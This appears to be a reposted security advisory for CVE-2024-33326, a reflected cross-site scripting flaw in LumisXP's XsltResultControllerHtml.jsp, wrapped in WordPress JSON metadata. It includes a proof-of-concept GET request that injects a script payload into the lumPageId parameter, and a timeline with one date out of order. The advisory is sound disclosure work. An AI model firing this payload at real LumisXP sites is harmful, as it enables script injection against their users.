=====[ Tempest Security Intelligence – ADV-6\/2024
]==========================<\/p>\n
LumisXP v15.0.x to v16.1.x<\/p>\n
Author: Rodolfo Tavares<\/p>\n
Tempest Security Intelligence – Recife, Pernambuco – Brazil<\/p>\n
=====[ Table of Contents]==================================================
* Overview
* Detailed description
* Timeline of disclosure
* Thanks & Acknowledgements
* References<\/p>\n
=====[ Vulnerability
Information]=============================================
* Class: Improper Neutralization of Input During Web Page Generation
(‘Cross-site Scripting’)
(‘Improper Neutralization of Input During Web Page Generation (‘Cross-site
Scripting’)’) [CWE-79]\n
* CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:R\/S:U\/C:L\/I:L\/A:N – 5.4<\/p>\n
=====[ Overview]========================================================
* System affected : LumisXP
* Software Version : Version – v15.0.x to v16.1.x
* Impacts :
* Vulnerability: A cross-site scripting (XSS) vulnerability in the
component XsltResultControllerHtml.jsp of Lumisxp v15.0.x to v16.1.x allows
attackers to execute arbitrary web scripts or HTML via a crafted payload
injected into the lumPageID parameter<\/p>\n
=====[ Detailed
description]=================================================
* XSS [GET
\/portal\/XsltResultControllerHtml.jsp?xslContent=&interfaceInstanceId=&lumPageId=%3cscript%3econfirm(1)%3c%2fscript%3e&xslContentFilePath=]:<\/p>\n
1 – Send the link by inserting the XSS payload into the lumPageID=
parameter.<\/p>\n
“`
GET
\/portal\/XsltResultControllerHtml.jsp?xslContent=&interfaceInstanceId=&lumPageId=%3cscript%3econfirm(1)%3c%2fscript%3e&xslContentFilePath=
“`
2 – Verify that in the response your payload will be executed.<\/p>\n
=====[ Timeline of
disclosure]===============================================<\/p>\n
2\/Apr\/2024 – Responsible disclosure was initiated with the vendor.
12\/Apr\/2024 – LumisXP Support confirmed the issue;
16\/Fev\/2024 – The vendor fixed the vulnerability
29\/May\/2024 – CVEs was assigned and reserved as CVE-2024-33326<\/p>\n
=====[ Thanks & Acknowledgements]========================================
* Tempest Security Intelligence [1]* Rodolfo Tavares
* Niklas Correa<\/p>\n
=====[ References ]=====================================================<\/p>\n[1][ [https:\/\/cwe.mitre.org\/data\/definitions\/79.html][2][ [https:\/\/www.tempest.com.br|https:\/\/www.tempest.com.br\/]][3][Thanks Filipe X.]\n
=====[ EOF ]===========================================================
—<\/p>\n
— <\/p>\n
*Esta mensagem \u00e9 para uso exclusivo de seu destinat\u00e1rio e pode conter
informa\u00e7\u00f5es privilegiadas e confidenciais. Todas as informa\u00e7\u00f5es aqui
contidas devem ser tratadas como confidenciais e n\u00e3o devem ser divulgadas a
terceiros sem o pr\u00e9vio consentimento por escrito da Tempest. Se voc\u00ea n\u00e3o \u00e9
o destinat\u00e1rio n\u00e3o deve distribuir, copiar ou arquivar a mensagem. Neste
caso, por favor, notifique o remetente da mesma e destrua imediatamente a
mensagem.*<\/p>\n
*
*
*This message is intended solely for the use of its
addressee and may contain privileged or confidential information. All
information contained herein shall be treated as confidential and shall not
be disclosed to any third party without Tempest\u2019s prior written approval.
If you are not the addressee you should not distribute, copy or file this
message. In this case, please notify the sender and destroy its contents
immediately.**
*
*
*<\/p>\n","protected":false},"excerpt":{"rendered":"
=====[ Tempest Security Intelligence – ADV-6\/2024]========================== LumisXP v15.0.x to v16.1.x Author: Rodolfo Tavares Tempest Security Intelligence – Recife, Pernambuco – Brazil =====[ Table of Contents]==================================================* Overview* Detailed description* Timeline of disclosure* Thanks & Acknowledgements* References =====[ VulnerabilityInformation]=============================================* Class: Improper Neutralization of Input During Web Page Generation(‘Cross-site Scripting’)(‘Improper Neutralization of Input During Web Page Generation (‘Cross-siteScripting’)’) …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-58134","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/58134","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=58134"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/58134\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=58134"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=58134"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=58134"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}